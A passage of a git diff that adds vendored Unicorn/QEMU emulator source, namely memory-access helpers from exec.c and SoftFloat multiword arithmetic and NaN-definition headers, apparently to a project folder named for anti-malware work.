+} + +void stq_be_phys(AddressSpace *as, hwaddr addr, uint64_t val) +{ + val = cpu_to_be64(val); + address_space_rw(as, addr, (void *) &val, 8, 1); +} + +/* virtual memory access for debug (includes writing to ROM) */ +int cpu_memory_rw_debug(CPUState *cpu, target_ulong addr, + uint8_t *buf, int len, int is_write) +{ + int l; + hwaddr phys_addr; + target_ulong page; + + while (len > 0) { + page = addr & TARGET_PAGE_MASK; + phys_addr = cpu_get_phys_page_debug(cpu, page); + /* if no physical page mapped, return an error */ + if (phys_addr == -1) + return -1; + l = (page + TARGET_PAGE_SIZE) - addr; + if (l > len) + l = len; + phys_addr += (addr & ~TARGET_PAGE_MASK); + if (is_write) { + cpu_physical_memory_write_rom(cpu->as, phys_addr, buf, l); + } else { + address_space_rw(cpu->as, phys_addr, buf, l, 0); + } + len -= l; + buf += l; + addr += l; + } + return 0; +} +#endif + +/* + * A helper function for the _utterly broken_ virtio device model to find out if + * it's running on a big endian machine. Don't do this at home kids! + */ +bool target_words_bigendian(void); +bool target_words_bigendian(void) +{ +#if defined(TARGET_WORDS_BIGENDIAN) + return true; +#else + return false; +#endif +} + +#ifndef CONFIG_USER_ONLY +bool cpu_physical_memory_is_io(AddressSpace *as, hwaddr phys_addr) +{ + MemoryRegion*mr; + hwaddr l = 1; + + mr = address_space_translate(as, phys_addr, &phys_addr, &l, false); + + return !(memory_region_is_ram(mr) || + memory_region_is_romd(mr)); +} + +void qemu_ram_foreach_block(struct uc_struct *uc, RAMBlockIterFunc func, void *opaque) +{ + RAMBlock *block; + + QTAILQ_FOREACH(block, &uc->ram_list.blocks, next) { + func(block->host, block->offset, block->length, opaque); + } +} +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/fpu/softfloat-macros.h b/ai_anti_malware/unicorn/unicorn-master/qemu/fpu/softfloat-macros.h new file mode 100644 index 0000000..2892b4f --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/fpu/softfloat-macros.h @@ -0,0 +1,749 @@ +/* + * QEMU float support macros + * + * Derived from SoftFloat. + */ + +/*============================================================================ + +This C source fragment is part of the SoftFloat IEC/IEEE Floating-point +Arithmetic Package, Release 2b. + +Written by John R. Hauser. This work was made possible in part by the +International Computer Science Institute, located at Suite 600, 1947 Center +Street, Berkeley, California 94704. Funding was partially provided by the +National Science Foundation under grant MIP-9311980. The original version +of this code was written as part of a project to build a fixed-point vector +processor in collaboration with the University of California at Berkeley, +overseen by Profs. Nelson Morgan and John Wawrzynek. More information +is available through the Web page `http://www.cs.berkeley.edu/~jhauser/ +arithmetic/SoftFloat.html'. + +THIS SOFTWARE IS DISTRIBUTED AS IS, FOR FREE. Although reasonable effort has +been made to avoid it, THIS SOFTWARE MAY CONTAIN FAULTS THAT WILL AT TIMES +RESULT IN INCORRECT BEHAVIOR. USE OF THIS SOFTWARE IS RESTRICTED TO PERSONS +AND ORGANIZATIONS WHO CAN AND WILL TAKE FULL RESPONSIBILITY FOR ALL LOSSES, +COSTS, OR OTHER PROBLEMS THEY INCUR DUE TO THE SOFTWARE, AND WHO FURTHERMORE +EFFECTIVELY INDEMNIFY JOHN HAUSER AND THE INTERNATIONAL COMPUTER SCIENCE +INSTITUTE (possibly via similar legal notice) AGAINST ALL LOSSES, COSTS, OR +OTHER PROBLEMS INCURRED BY THEIR CUSTOMERS AND CLIENTS DUE TO THE SOFTWARE. + +Derivative works are acceptable, even for commercial purposes, so long as +(1) the source code for the derivative work includes prominent notice that +the work is derivative, and (2) the source code includes prominent notice with +these four paragraphs for those parts of this code that are retained. + +=============================================================================*/ + +/*---------------------------------------------------------------------------- +| This macro tests for minimum version of the GNU C compiler. +*----------------------------------------------------------------------------*/ +#if defined(__GNUC__) && defined(__GNUC_MINOR__) +# define SOFTFLOAT_GNUC_PREREQ(maj, min) \ + ((__GNUC__ << 16) + __GNUC_MINOR__ >= ((maj) << 16) + (min)) +#else +# define SOFTFLOAT_GNUC_PREREQ(maj, min) 0 +#endif + + +/*---------------------------------------------------------------------------- +| Shifts `a' right by the number of bits given in `count'. If any nonzero +| bits are shifted off, they are ``jammed'' into the least significant bit of +| the result by setting the least significant bit to 1. The value of `count' +| can be arbitrarily large; in particular, if `count' is greater than 32, the +| result will be either 0 or 1, depending on whether `a' is zero or nonzero. +| The result is stored in the location pointed to by `zPtr'. +*----------------------------------------------------------------------------*/ + +static inline void shift32RightJamming(uint32_t a, int_fast16_t count, uint32_t *zPtr) +{ + uint32_t z; + + if ( count == 0 ) { + z = a; + } + else if ( count < 32 ) { + z = ( a>>count ) | ( ( a<<( ( - count ) & 31 ) ) != 0 ); + } + else { + z = ( a != 0 ); + } + *zPtr = z; + +} + +/*---------------------------------------------------------------------------- +| Shifts `a' right by the number of bits given in `count'. If any nonzero +| bits are shifted off, they are ``jammed'' into the least significant bit of +| the result by setting the least significant bit to 1. The value of `count' +| can be arbitrarily large; in particular, if `count' is greater than 64, the +| result will be either 0 or 1, depending on whether `a' is zero or nonzero. +| The result is stored in the location pointed to by `zPtr'. +*----------------------------------------------------------------------------*/ + +static inline void shift64RightJamming(uint64_t a, int_fast16_t count, uint64_t *zPtr) +{ + uint64_t z; + + if ( count == 0 ) { + z = a; + } + else if ( count < 64 ) { + z = ( a>>count ) | ( ( a<<( ( - count ) & 63 ) ) != 0 ); + } + else { + z = ( a != 0 ); + } + *zPtr = z; + +} + +/*---------------------------------------------------------------------------- +| Shifts the 128-bit value formed by concatenating `a0' and `a1' right by 64 +| _plus_ the number of bits given in `count'. The shifted result is at most +| 64 nonzero bits; this is stored at the location pointed to by `z0Ptr'. The +| bits shifted off form a second 64-bit result as follows: The _last_ bit +| shifted off is the most-significant bit of the extra result, and the other +| 63 bits of the extra result are all zero if and only if _all_but_the_last_ +| bits shifted off were all zero. This extra result is stored in the location +| pointed to by `z1Ptr'. The value of `count' can be arbitrarily large. +| (This routine makes more sense if `a0' and `a1' are considered to form +| a fixed-point value with binary point between `a0' and `a1'. This fixed- +| point value is shifted right by the number of bits given in `count', and +| the integer part of the result is returned at the location pointed to by +| `z0Ptr'. The fractional part of the result may be slightly corrupted as +| described above, and is returned at the location pointed to by `z1Ptr'.) +*----------------------------------------------------------------------------*/ + +static inline void + shift64ExtraRightJamming( + uint64_t a0, uint64_t a1, int_fast16_t count, uint64_t *z0Ptr, uint64_t *z1Ptr) +{ + uint64_t z0, z1; + int8 negCount = ( - count ) & 63; + + if ( count == 0 ) { + z1 = a1; + z0 = a0; + } + else if ( count < 64 ) { + z1 = ( a0<<negCount ) | ( a1 != 0 ); + z0 = a0>>count; + } + else { + if ( count == 64 ) { + z1 = a0 | ( a1 != 0 ); + } + else { + z1 = ( ( a0 | a1 ) != 0 ); + } + z0 = 0; + } + *z1Ptr = z1; + *z0Ptr = z0; + +} + +/*---------------------------------------------------------------------------- +| Shifts the 128-bit value formed by concatenating `a0' and `a1' right by the +| number of bits given in `count'. Any bits shifted off are lost. The value +| of `count' can be arbitrarily large; in particular, if `count' is greater +| than 128, the result will be 0. The result is broken into two 64-bit pieces +| which are stored at the locations pointed to by `z0Ptr' and `z1Ptr'. +*----------------------------------------------------------------------------*/ + +static inline void + shift128Right( + uint64_t a0, uint64_t a1, int_fast16_t count, uint64_t *z0Ptr, uint64_t *z1Ptr) +{ + uint64_t z0, z1; + int8 negCount = ( - count ) & 63; + + if ( count == 0 ) { + z1 = a1; + z0 = a0; + } + else if ( count < 64 ) { + z1 = ( a0<<negCount ) | ( a1>>count ); + z0 = a0>>count; + } + else { + z1 = (count < 128) ? (a0 >> (count & 63)) : 0; + z0 = 0; + } + *z1Ptr = z1; + *z0Ptr = z0; + +} + +/*---------------------------------------------------------------------------- +| Shifts the 128-bit value formed by concatenating `a0' and `a1' right by the +| number of bits given in `count'. If any nonzero bits are shifted off, they +| are ``jammed'' into the least significant bit of the result by setting the +| least significant bit to 1. The value of `count' can be arbitrarily large; +| in particular, if `count' is greater than 128, the result will be either +| 0 or 1, depending on whether the concatenation of `a0' and `a1' is zero or +| nonzero. The result is broken into two 64-bit pieces which are stored at +| the locations pointed to by `z0Ptr' and `z1Ptr'. +*----------------------------------------------------------------------------*/ + +static inline void + shift128RightJamming( + uint64_t a0, uint64_t a1, int_fast16_t count, uint64_t *z0Ptr, uint64_t *z1Ptr) +{ + uint64_t z0, z1; + int8 negCount = ( - count ) & 63; + + if ( count == 0 ) { + z1 = a1; + z0 = a0; + } + else if ( count < 64 ) { + z1 = ( a0<<negCount ) | ( a1>>count ) | ( ( a1<<negCount ) != 0 ); + z0 = a0>>count; + } + else { + if ( count == 64 ) { + z1 = a0 | ( a1 != 0 ); + } + else if ( count < 128 ) { + z1 = ( a0>>( count & 63 ) ) | ( ( ( a0<<negCount ) | a1 ) != 0 ); + } + else { + z1 = ( ( a0 | a1 ) != 0 ); + } + z0 = 0; + } + *z1Ptr = z1; + *z0Ptr = z0; + +} + +/*---------------------------------------------------------------------------- +| Shifts the 192-bit value formed by concatenating `a0', `a1', and `a2' right +| by 64 _plus_ the number of bits given in `count'. The shifted result is +| at most 128 nonzero bits; these are broken into two 64-bit pieces which are +| stored at the locations pointed to by `z0Ptr' and `z1Ptr'. The bits shifted +| off form a third 64-bit result as follows: The _last_ bit shifted off is +| the most-significant bit of the extra result, and the other 63 bits of the +| extra result are all zero if and only if _all_but_the_last_ bits shifted off +| were all zero. This extra result is stored in the location pointed to by +| `z2Ptr'. The value of `count' can be arbitrarily large. +| (This routine makes more sense if `a0', `a1', and `a2' are considered +| to form a fixed-point value with binary point between `a1' and `a2'. This +| fixed-point value is shifted right by the number of bits given in `count', +| and the integer part of the result is returned at the locations pointed to +| by `z0Ptr' and `z1Ptr'. The fractional part of the result may be slightly +| corrupted as described above, and is returned at the location pointed to by +| `z2Ptr'.) +*----------------------------------------------------------------------------*/ + +static inline void + shift128ExtraRightJamming( + uint64_t a0, + uint64_t a1, + uint64_t a2, + int_fast16_t count, + uint64_t *z0Ptr, + uint64_t *z1Ptr, + uint64_t *z2Ptr + ) +{ + uint64_t z0, z1, z2; + int8 negCount = ( - count ) & 63; + + if ( count == 0 ) { + z2 = a2; + z1 = a1; + z0 = a0; + } + else { + if ( count < 64 ) { + z2 = a1<<negCount; + z1 = ( a0<<negCount ) | ( a1>>count ); + z0 = a0>>count; + } + else { + if ( count == 64 ) { + z2 = a1; + z1 = a0; + } + else { + a2 |= a1; + if ( count < 128 ) { + z2 = a0<<negCount; + z1 = a0>>( count & 63 ); + } + else { + z2 = ( count == 128 ) ? a0 : ( a0 != 0 ); + z1 = 0; + } + } + z0 = 0; + } + z2 |= ( a2 != 0 ); + } + *z2Ptr = z2; + *z1Ptr = z1; + *z0Ptr = z0; + +} + +/*---------------------------------------------------------------------------- +| Shifts the 128-bit value formed by concatenating `a0' and `a1' left by the +| number of bits given in `count'. Any bits shifted off are lost. The value +| of `count' must be less than 64. The result is broken into two 64-bit +| pieces which are stored at the locations pointed to by `z0Ptr' and `z1Ptr'. +*----------------------------------------------------------------------------*/ + +static inline void + shortShift128Left( + uint64_t a0, uint64_t a1, int_fast16_t count, uint64_t *z0Ptr, uint64_t *z1Ptr) +{ + + *z1Ptr = a1<<(count & 0x3f); + *z0Ptr = + ( count == 0 ) ? a0 : ( a0<<(count & 0x3f) ) | ( a1>>( ( - count ) & 63 ) ); + +} + +/*---------------------------------------------------------------------------- +| Shifts the 192-bit value formed by concatenating `a0', `a1', and `a2' left +| by the number of bits given in `count'. Any bits shifted off are lost. +| The value of `count' must be less than 64. The result is broken into three +| 64-bit pieces which are stored at the locations pointed to by `z0Ptr', +| `z1Ptr', and `z2Ptr'. +*----------------------------------------------------------------------------*/ + +static inline void + shortShift192Left( + uint64_t a0, + uint64_t a1, + uint64_t a2, + int_fast16_t count, + uint64_t *z0Ptr, + uint64_t *z1Ptr, + uint64_t *z2Ptr + ) +{ + uint64_t z0, z1, z2; + int8 negCount; + + z2 = a2<<count; + z1 = a1<<count; + z0 = a0<<count; + if ( 0 < count ) { + negCount = ( ( - count ) & 63 ); + z1 |= a2>>negCount; + z0 |= a1>>negCount; + } + *z2Ptr = z2; + *z1Ptr = z1; + *z0Ptr = z0; + +} + +/*---------------------------------------------------------------------------- +| Adds the 128-bit value formed by concatenating `a0' and `a1' to the 128-bit +| value formed by concatenating `b0' and `b1'. Addition is modulo 2^128, so +| any carry out is lost. The result is broken into two 64-bit pieces which +| are stored at the locations pointed to by `z0Ptr' and `z1Ptr'. +*----------------------------------------------------------------------------*/ + +static inline void + add128( + uint64_t a0, uint64_t a1, uint64_t b0, uint64_t b1, uint64_t *z0Ptr, uint64_t *z1Ptr ) +{ + uint64_t z1; + + z1 = a1 + b1; + *z1Ptr = z1; + *z0Ptr = a0 + b0 + ( z1 < a1 ); + +} + +/*---------------------------------------------------------------------------- +| Adds the 192-bit value formed by concatenating `a0', `a1', and `a2' to the +| 192-bit value formed by concatenating `b0', `b1', and `b2'. Addition is +| modulo 2^192, so any carry out is lost. The result is broken into three +| 64-bit pieces which are stored at the locations pointed to by `z0Ptr', +| `z1Ptr', and `z2Ptr'. +*----------------------------------------------------------------------------*/ + +static inline void + add192( + uint64_t a0, + uint64_t a1, + uint64_t a2, + uint64_t b0, + uint64_t b1, + uint64_t b2, + uint64_t *z0Ptr, + uint64_t *z1Ptr, + uint64_t *z2Ptr + ) +{ + uint64_t z0, z1, z2; + int8 carry0, carry1; + + z2 = a2 + b2; + carry1 = ( z2 < a2 ); + z1 = a1 + b1; + carry0 = ( z1 < a1 ); + z0 = a0 + b0; + z1 += carry1; + z0 += ( z1 < carry1 ); + z0 += carry0; + *z2Ptr = z2; + *z1Ptr = z1; + *z0Ptr = z0; + +} + +/*---------------------------------------------------------------------------- +| Subtracts the 128-bit value formed by concatenating `b0' and `b1' from the +| 128-bit value formed by concatenating `a0' and `a1'. Subtraction is modulo +| 2^128, so any borrow out (carry out) is lost. The result is broken into two +| 64-bit pieces which are stored at the locations pointed to by `z0Ptr' and +| `z1Ptr'. +*----------------------------------------------------------------------------*/ + +static inline void + sub128( + uint64_t a0, uint64_t a1, uint64_t b0, uint64_t b1, uint64_t *z0Ptr, uint64_t *z1Ptr ) +{ + + *z1Ptr = a1 - b1; + *z0Ptr = a0 - b0 - ( a1 < b1 ); + +} + +/*---------------------------------------------------------------------------- +| Subtracts the 192-bit value formed by concatenating `b0', `b1', and `b2' +| from the 192-bit value formed by concatenating `a0', `a1', and `a2'. +| Subtraction is modulo 2^192, so any borrow out (carry out) is lost. The +| result is broken into three 64-bit pieces which are stored at the locations +| pointed to by `z0Ptr', `z1Ptr', and `z2Ptr'. +*----------------------------------------------------------------------------*/ + +static inline void + sub192( + uint64_t a0, + uint64_t a1, + uint64_t a2, + uint64_t b0, + uint64_t b1, + uint64_t b2, + uint64_t *z0Ptr, + uint64_t *z1Ptr, + uint64_t *z2Ptr + ) +{ + uint64_t z0, z1, z2; + int8 borrow0, borrow1; + + z2 = a2 - b2; + borrow1 = ( a2 < b2 ); + z1 = a1 - b1; + borrow0 = ( a1 < b1 ); + z0 = a0 - b0; + z0 -= ( z1 < borrow1 ); + z1 -= borrow1; + z0 -= borrow0; + *z2Ptr = z2; + *z1Ptr = z1; + *z0Ptr = z0; + +} + +/*---------------------------------------------------------------------------- +| Multiplies `a' by `b' to obtain a 128-bit product. The product is broken +| into two 64-bit pieces which are stored at the locations pointed to by +| `z0Ptr' and `z1Ptr'. +*----------------------------------------------------------------------------*/ + +static inline void mul64To128( uint64_t a, uint64_t b, uint64_t *z0Ptr, uint64_t *z1Ptr ) +{ + uint32_t aHigh, aLow, bHigh, bLow; + uint64_t z0, zMiddleA, zMiddleB, z1; + + aLow = (uint32_t)a; + aHigh = a>>32; + bLow = (uint32_t)b; + bHigh = b>>32; + z1 = ( (uint64_t) aLow ) * bLow; + zMiddleA = ( (uint64_t) aLow ) * bHigh; + zMiddleB = ( (uint64_t) aHigh ) * bLow; + z0 = ( (uint64_t) aHigh ) * bHigh; + zMiddleA += zMiddleB; + z0 += ( ( (uint64_t) ( zMiddleA < zMiddleB ) )<<32 ) + ( zMiddleA>>32 ); + zMiddleA <<= 32; + z1 += zMiddleA; + z0 += ( z1 < zMiddleA ); + *z1Ptr = z1; + *z0Ptr = z0; + +} + +/*---------------------------------------------------------------------------- +| Multiplies the 128-bit value formed by concatenating `a0' and `a1' by +| `b' to obtain a 192-bit product. The product is broken into three 64-bit +| pieces which are stored at the locations pointed to by `z0Ptr', `z1Ptr', and +| `z2Ptr'. +*----------------------------------------------------------------------------*/ + +static inline void + mul128By64To192( + uint64_t a0, + uint64_t a1, + uint64_t b, + uint64_t *z0Ptr, + uint64_t *z1Ptr, + uint64_t *z2Ptr + ) +{ + uint64_t z0, z1, z2, more1; + + mul64To128( a1, b, &z1, &z2 ); + mul64To128( a0, b, &z0, &more1 ); + add128( z0, more1, 0, z1, &z0, &z1 ); + *z2Ptr = z2; + *z1Ptr = z1; + *z0Ptr = z0; + +} + +/*---------------------------------------------------------------------------- +| Multiplies the 128-bit value formed by concatenating `a0' and `a1' to the +| 128-bit value formed by concatenating `b0' and `b1' to obtain a 256-bit +| product. The product is broken into four 64-bit pieces which are stored at +| the locations pointed to by `z0Ptr', `z1Ptr', `z2Ptr', and `z3Ptr'. +*----------------------------------------------------------------------------*/ + +static inline void + mul128To256( + uint64_t a0, + uint64_t a1, + uint64_t b0, + uint64_t b1, + uint64_t *z0Ptr, + uint64_t *z1Ptr, + uint64_t *z2Ptr, + uint64_t *z3Ptr + ) +{ + uint64_t z0, z1, z2, z3; + uint64_t more1, more2; + + mul64To128( a1, b1, &z2, &z3 ); + mul64To128( a1, b0, &z1, &more2 ); + add128( z1, more2, 0, z2, &z1, &z2 ); + mul64To128( a0, b0, &z0, &more1 ); + add128( z0, more1, 0, z1, &z0, &z1 ); + mul64To128( a0, b1, &more1, &more2 ); + add128( more1, more2, 0, z2, &more1, &z2 ); + add128( z0, z1, 0, more1, &z0, &z1 ); + *z3Ptr = z3; + *z2Ptr = z2; + *z1Ptr = z1; + *z0Ptr = z0; + +} + +/*---------------------------------------------------------------------------- +| Returns an approximation to the 64-bit integer quotient obtained by dividing +| `b' into the 128-bit value formed by concatenating `a0' and `a1'. The +| divisor `b' must be at least 2^63. If q is the exact quotient truncated +| toward zero, the approximation returned lies between q and q + 2 inclusive. +| If the exact quotient q is larger than 64 bits, the maximum positive 64-bit +| unsigned integer is returned. +*----------------------------------------------------------------------------*/ + +static uint64_t estimateDiv128To64( uint64_t a0, uint64_t a1, uint64_t b ) +{ + uint64_t b0, b1; + uint64_t rem0, rem1, term0, term1; + uint64_t z; + + if ( b <= a0 ) return LIT64( 0xFFFFFFFFFFFFFFFF ); + b0 = b>>32; + z = ( b0<<32 <= a0 ) ? LIT64( 0xFFFFFFFF00000000 ) : ( a0 / b0 )<<32; + mul64To128( b, z, &term0, &term1 ); + sub128( a0, a1, term0, term1, &rem0, &rem1 ); + while ( ( (int64_t) rem0 ) < 0 ) { + z -= LIT64( 0x100000000 ); + b1 = b<<32; + add128( rem0, rem1, b0, b1, &rem0, &rem1 ); + } + rem0 = ( rem0<<32 ) | ( rem1>>32 ); + z |= ( b0<<32 <= rem0 ) ? 0xFFFFFFFF : rem0 / b0; + return z; + +} + +/*---------------------------------------------------------------------------- +| Returns an approximation to the square root of the 32-bit significand given +| by `a'. Considered as an integer, `a' must be at least 2^31. If bit 0 of +| `aExp' (the least significant bit) is 1, the integer returned approximates +| 2^31*sqrt(`a'/2^31), where `a' is considered an integer. If bit 0 of `aExp' +| is 0, the integer returned approximates 2^31*sqrt(`a'/2^30). In either +| case, the approximation returned lies strictly within +/-2 of the exact +| value. +*----------------------------------------------------------------------------*/ + +static uint32_t estimateSqrt32(int_fast16_t aExp, uint32_t a) +{ + static const uint16_t sqrtOddAdjustments[] = { + 0x0004, 0x0022, 0x005D, 0x00B1, 0x011D, 0x019F, 0x0236, 0x02E0, + 0x039C, 0x0468, 0x0545, 0x0631, 0x072B, 0x0832, 0x0946, 0x0A67 + }; + static const uint16_t sqrtEvenAdjustments[] = { + 0x0A2D, 0x08AF, 0x075A, 0x0629, 0x051A, 0x0429, 0x0356, 0x029E, + 0x0200, 0x0179, 0x0109, 0x00AF, 0x0068, 0x0034, 0x0012, 0x0002 + }; + int8 index; + uint32_t z; + + index = ( a>>27 ) & 15; + if ( aExp & 1 ) { + z = 0x4000 + ( a>>17 ) - sqrtOddAdjustments[ (int)index ]; + z = ( ( a / z )<<14 ) + ( z<<15 ); + a >>= 1; + } + else { + z = 0x8000 + ( a>>17 ) - sqrtEvenAdjustments[ (int)index ]; + z = a / z + z; + z = ( 0x20000 <= z ) ? 0xFFFF8000 : ( z<<15 ); + if ( z <= a ) return (uint32_t) ( ( (int32_t) a )>>1 ); + } + return ( (uint32_t) ( ( ( (uint64_t) a )<<31 ) / z ) ) + ( z>>1 ); + +} + +/*---------------------------------------------------------------------------- +| Returns the number of leading 0 bits before the most-significant 1 bit of +| `a'. If `a' is zero, 32 is returned. +*----------------------------------------------------------------------------*/ + +static int8 countLeadingZeros32( uint32_t a ) +{ +#if SOFTFLOAT_GNUC_PREREQ(3, 4) + if (a) { + return __builtin_clz(a); + } else { + return 32; + } +#else + static const int8 countLeadingZerosHigh[] = { + 8, 7, 6, 6, 5, 5, 5, 5, 4, 4, 4, 4, 4, 4, 4, 4, + 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 + }; + int8 shiftCount; + + shiftCount = 0; + if ( a < 0x10000 ) { + shiftCount += 16; + a <<= 16; + } + if ( a < 0x1000000 ) { + shiftCount += 8; + a <<= 8; + } + shiftCount += countLeadingZerosHigh[ a>>24 ]; + return shiftCount; +#endif +} + +/*---------------------------------------------------------------------------- +| Returns the number of leading 0 bits before the most-significant 1 bit of +| `a'. If `a' is zero, 64 is returned. +*----------------------------------------------------------------------------*/ + +static int8 countLeadingZeros64( uint64_t a ) +{ +#if SOFTFLOAT_GNUC_PREREQ(3, 4) + if (a) { + return __builtin_clzll(a); + } else { + return 64; + } +#else + int8 shiftCount; + + shiftCount = 0; + if ( a < ( (uint64_t) 1 )<<32 ) { + shiftCount += 32; + } + else { + a >>= 32; + } + shiftCount += countLeadingZeros32( (uint32_t)a ); + return shiftCount; +#endif +} + +/*---------------------------------------------------------------------------- +| Returns 1 if the 128-bit value formed by concatenating `a0' and `a1' +| is equal to the 128-bit value formed by concatenating `b0' and `b1'. +| Otherwise, returns 0. +*----------------------------------------------------------------------------*/ + +static inline flag eq128( uint64_t a0, uint64_t a1, uint64_t b0, uint64_t b1 ) +{ + + return ( a0 == b0 ) && ( a1 == b1 ); + +} + +/*---------------------------------------------------------------------------- +| Returns 1 if the 128-bit value formed by concatenating `a0' and `a1' is less +| than or equal to the 128-bit value formed by concatenating `b0' and `b1'. +| Otherwise, returns 0. +*----------------------------------------------------------------------------*/ + +static inline flag le128( uint64_t a0, uint64_t a1, uint64_t b0, uint64_t b1 ) +{ + + return ( a0 < b0 ) || ( ( a0 == b0 ) && ( a1 <= b1 ) ); + +} + +/*---------------------------------------------------------------------------- +| Returns 1 if the 128-bit value formed by concatenating `a0' and `a1' is less +| than the 128-bit value formed by concatenating `b0' and `b1'. Otherwise, +| returns 0. +*----------------------------------------------------------------------------*/ + +static inline flag lt128( uint64_t a0, uint64_t a1, uint64_t b0, uint64_t b1 ) +{ + + return ( a0 < b0 ) || ( ( a0 == b0 ) && ( a1 < b1 ) ); + +} + +/*---------------------------------------------------------------------------- +| Returns 1 if the 128-bit value formed by concatenating `a0' and `a1' is +| not equal to the 128-bit value formed by concatenating `b0' and `b1'. +| Otherwise, returns 0. +*----------------------------------------------------------------------------*/ + +static inline flag ne128( uint64_t a0, uint64_t a1, uint64_t b0, uint64_t b1 ) +{ + + return ( a0 != b0 ) || ( a1 != b1 ); + +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/fpu/softfloat-specialize.h b/ai_anti_malware/unicorn/unicorn-master/qemu/fpu/softfloat-specialize.h new file mode 100644 index 0000000..549b425 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/fpu/softfloat-specialize.h @@ -0,0 +1,1161 @@ +/* + * QEMU float support + * + * Derived from SoftFloat. + */ + +/*============================================================================ + +This C source fragment is part of the SoftFloat IEC/IEEE Floating-point +Arithmetic Package, Release 2b. + +Written by John R. Hauser. This work was made possible in part by the +International Computer Science Institute, located at Suite 600, 1947 Center +Street, Berkeley, California 94704. Funding was partially provided by the +National Science Foundation under grant MIP-9311980. The original version +of this code was written as part of a project to build a fixed-point vector +processor in collaboration with the University of California at Berkeley, +overseen by Profs. Nelson Morgan and John Wawrzynek. More information +is available through the Web page `http://www.cs.berkeley.edu/~jhauser/ +arithmetic/SoftFloat.html'. + +THIS SOFTWARE IS DISTRIBUTED AS IS, FOR FREE. Although reasonable effort has +been made to avoid it, THIS SOFTWARE MAY CONTAIN FAULTS THAT WILL AT TIMES +RESULT IN INCORRECT BEHAVIOR. USE OF THIS SOFTWARE IS RESTRICTED TO PERSONS +AND ORGANIZATIONS WHO CAN AND WILL TAKE FULL RESPONSIBILITY FOR ALL LOSSES, +COSTS, OR OTHER PROBLEMS THEY INCUR DUE TO THE SOFTWARE, AND WHO FURTHERMORE +EFFECTIVELY INDEMNIFY JOHN HAUSER AND THE INTERNATIONAL COMPUTER SCIENCE +INSTITUTE (possibly via similar legal warning) AGAINST ALL LOSSES, COSTS, OR +OTHER PROBLEMS INCURRED BY THEIR CUSTOMERS AND CLIENTS DUE TO THE SOFTWARE. + +Derivative works are acceptable, even for commercial purposes, so long as +(1) the source code for the derivative work includes prominent notice that +the work is derivative, and (2) the source code includes prominent notice with +these four paragraphs for those parts of this code that are retained. + +=============================================================================*/ + +#if defined(TARGET_MIPS) || defined(TARGET_SH4) || defined(TARGET_UNICORE32) +#define SNAN_BIT_IS_ONE 1 +#else +#define SNAN_BIT_IS_ONE 0 +#endif + +#if defined(TARGET_XTENSA) +/* Define for architectures which deviate from IEEE in not supporting + * signaling NaNs (so all NaNs are treated as quiet). + */ +#define NO_SIGNALING_NANS 1 +#endif + +/*---------------------------------------------------------------------------- +| The pattern for a default generated half-precision NaN. +*----------------------------------------------------------------------------*/ +#if defined(TARGET_ARM) +const float16 float16_default_nan = const_float16(0x7E00); +#elif SNAN_BIT_IS_ONE +const float16 float16_default_nan = const_float16(0x7DFF); +#else +const float16 float16_default_nan = const_float16(0xFE00); +#endif + +/*---------------------------------------------------------------------------- +| The pattern for a default generated single-precision NaN. +*----------------------------------------------------------------------------*/ +#if defined(TARGET_SPARC) +const float32 float32_default_nan = const_float32(0x7FFFFFFF); +#elif defined(TARGET_PPC) || defined(TARGET_ARM) || defined(TARGET_ALPHA) || \ + defined(TARGET_XTENSA) +const float32 float32_default_nan = const_float32(0x7FC00000); +#elif SNAN_BIT_IS_ONE +const float32 float32_default_nan = const_float32(0x7FBFFFFF); +#else +const float32 float32_default_nan = const_float32(0xFFC00000); +#endif + +/*---------------------------------------------------------------------------- +| The pattern for a default generated double-precision NaN. +*----------------------------------------------------------------------------*/ +#if defined(TARGET_SPARC) +const float64 float64_default_nan = const_float64(LIT64( 0x7FFFFFFFFFFFFFFF )); +#elif defined(TARGET_PPC) || defined(TARGET_ARM) || defined(TARGET_ALPHA) +const float64 float64_default_nan = const_float64(LIT64( 0x7FF8000000000000 )); +#elif SNAN_BIT_IS_ONE +const float64 float64_default_nan = const_float64(LIT64( 0x7FF7FFFFFFFFFFFF )); +#else +const float64 float64_default_nan = const_float64(LIT64( 0xFFF8000000000000 )); +#endif + +/*---------------------------------------------------------------------------- +| The pattern for a default generated extended double-precision NaN. +*----------------------------------------------------------------------------*/ +#if SNAN_BIT_IS_ONE +#define floatx80_default_nan_high 0x7FFF +#define floatx80_default_nan_low LIT64( 0xBFFFFFFFFFFFFFFF ) +#else +#define floatx80_default_nan_high 0xFFFF +#define floatx80_default_nan_low LIT64( 0xC000000000000000 ) +#endif + +const floatx80 floatx80_default_nan + = make_floatx80_init(floatx80_default_nan_high, floatx80_default_nan_low); + +/*---------------------------------------------------------------------------- +| The pattern for a default generated quadruple-precision NaN. The `high' and +| `low' values hold the most- and least-significant bits, respectively. +*----------------------------------------------------------------------------*/ +#if SNAN_BIT_IS_ONE +#define float128_default_nan_high LIT64( 0x7FFF7FFFFFFFFFFF ) 